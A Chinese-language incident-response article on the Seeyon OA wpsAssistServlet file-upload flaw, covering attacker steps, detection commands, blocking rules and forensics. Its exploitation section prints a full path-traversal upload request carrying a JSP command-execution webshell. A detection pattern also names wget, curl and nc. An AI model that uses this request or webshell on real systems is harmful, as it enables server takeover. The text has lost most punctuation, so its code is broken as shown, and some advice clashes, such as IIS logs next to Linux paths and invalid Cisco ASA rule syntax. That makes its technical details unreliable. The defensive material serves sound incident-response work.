从一次应急响应看致远OA wpsAssistServlet漏洞:攻击者如何上传WebShell及如何排查 企业安全实战致远OA wpsAssistServlet漏洞攻击溯源与应急响应指南去年某金融企业内网渗透测试中我们遇到一个典型案例攻击者仅用3小时就通过致远OA漏洞完成从外网入侵到内网横向移动的全过程。事后分析发现攻击链的起点正是wpsAssistServlet接口的任意文件上传漏洞。本文将基于真实攻防对抗经验还原攻击者如何利用该漏洞植入WebShell并为企业安全团队提供可落地的排查方案。1. 攻击事件复盘从异常告警到漏洞定位某周四凌晨2点15分某上市公司SOC平台突然触发多条异常告警Web服务器/tmp目录下出现异常.jsp文件OA系统日志中出现大量404状态码的/seeyon/wpsAssistServlet请求数据库服务器出现非常规时间段的net.exe执行记录安全团队立即启动应急响应流程。通过分析IIS日志发现攻击者在成功利用漏洞前进行了大量探测行为# 典型攻击者探测请求已脱敏 192.168.1.100 - - [15/Mar/2023:02:03:12 0800] POST /seeyon/wpsAssistServlet HTTP/1.1 404 1532 192.168.1.100 - - [15/Mar/2023:02:03:15 0800] GET /seeyon/manager/login.jsp HTTP/1.1 200 4231攻击者常用上传路径分析路径类型典型位置隐藏程度Web根目录/ROOT/cmd.jsp★★☆☆☆临时目录/tmp/1.jsp★★★☆☆静态资源目录/static/images/logo.jsp★★★★☆日志目录/logs/access.jsp★★★★★注意攻击者通常会修改文件时间戳使其与合法文件保持一致单纯依靠时间排序可能漏检2. 漏洞利用深度解析攻击者的操作手册通过还原攻击流量我们梳理出攻击者的典型操作流程环境探测阶段扫描/seeyon/目录下的敏感接口检查OA版本信息通过/seeyon/README.txt测试其他已知漏洞作为备用方案漏洞利用阶段攻击者发送的特制请求包包含以下关键特征POST /seeyon/wpsAssistServlet?flagsaverealFileType../../../../ApacheJetspeed/webapps/ROOT/payload.jspfileId2 HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; nameupload; filenametest.txt Content-Type: text/plain % page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } % ------WebKitFormBoundaryABC123--权限维持阶段创建多个WebShell副本平均每个受害服务器发现3-5个添加计划任务实现持久化清除部分访问日志但会残留DELETE请求记录3. 企业级应急响应方案3.1 即时处置措施网络层封堵# Cisco ASA示例规则 access-list OUTSIDE_IN extended deny tcp any any eq 80 url /seeyon/wpsAssistServlet access-list OUTSIDE_IN extended deny tcp any any eq 443 url /seeyon/wpsAssistServlet主机层检测Linux环境示例# 查找最近3天修改的jsp文件 find /var/www/ -name *.jsp -mtime -3 -ls # 检查异常进程 ps aux | grep -E wget|curl|nc|netcat|perl|python|php|sh|bash # 检查计划任务 crontab -l ls -al /etc/cron.*/3.2 深度排查指南日志分析关键点搜索包含wpsAssistServlet的POST请求检查响应状态码为200但返回长度异常的请求关注非常规时间段的文件创建事件WebShell特征检测表检测维度合法文件恶意WebShell文件大小通常5KB通常3KB包含关键词业务相关eval(runtime.exec访问频率有规律突发性引用来源内部IP境外IP3.3 长效防护策略补丁管理受影响版本应立即升级至A8 V8.1SP2补丁编号SEEYON-2023-001G6 V8.2补丁编号SEEYON-2023-002防御加固在Nginx层添加规则拦截恶意请求location ~* ^/seeyon/wpsAssistServlet { deny all; }启用文件完整性监控FIM关键目录# 监控Web根目录变化 auditctl -w /var/www/html/ -p wa -k web_content4. 攻击痕迹取证与溯源在一起制造业客户案例中我们通过以下方法成功定位攻击者从Web访问日志中提取唯一User-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.51关联威胁情报发现该UA与某APT组织工具特征匹配通过WAF日志还原攻击路径时间线时间操作源IP结果02:03目录扫描185.xxx.xxx.xx发现wpsAssistServlet02:17首次上传测试185.xxx.xxx.xx失败参数错误02:29成功上传WebShell185.xxx.xxx.xx返回20002:35执行whoami命令185.xxx.xxx.xx获取nt authority\system在实际处置过程中我们发现多数企业存在以下盲点未监控/tmp等临时目录的文件变化允许OA服务器直接连接数据库缺乏对.jsp文件的内容检测机制